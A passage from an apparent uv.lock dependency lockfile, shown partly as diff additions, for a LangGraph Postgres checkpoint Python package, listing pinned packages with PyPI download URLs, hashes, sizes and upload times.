"https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "codespell" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/9d/1d0903dff693160f893ca6abcabad545088e7a2ee0a6deae7c24e958be69/codespell-2.4.2.tar.gz", hash = "sha256:3c33be9ae34543807f088aeb4832dfad8cb2dae38da61cac0a7045dd376cfdf3", size = 352058, upload-time = "2026-03-05T18:10:42.936Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/a1/52fa05533e95fe45bcc09bcf8a503874b1c08f221a4e35608017e0938f55/codespell-2.4.2-py3-none-any.whl", hash = "sha256:97e0c1060cf46bd1d5db89a936c98db8c2b804e1fdd4b5c645e82a1ec6b1f886", size = 353715, upload-time = "2026-03-05T18:10:41.398Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "../checkpoint" } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langgraph-checkpoint-postgres" +version = "3.1.0" +source = { editable = "." } +dependencies = [ + { name = "langgraph-checkpoint" }, + { name = "orjson" }, + { name = "psycopg" }, + { name = "psycopg-pool" }, +] + +[package.dev-dependencies] +dev = [ + { name = "anyio" }, + { name = "codespell" }, + { name = "langgraph-checkpoint" }, + { name = "psycopg", extra = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "anyio" }, + { name = "langgraph-checkpoint" }, + { name = "psycopg", extra = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, +] + +[package.metadata] +requires-dist = [ + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "orjson", specifier = ">=3.11.5" }, + { name = "psycopg", specifier = ">=3.2.0" }, + { name = "psycopg-pool", specifier = ">=3.2.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "anyio" }, + { name = "codespell" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "psycopg", extras = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "anyio" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "psycopg", extras = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, + { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, + { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, + { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, + { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, + { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, + { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, + { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, + { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, + { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, + { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, + { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, + { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 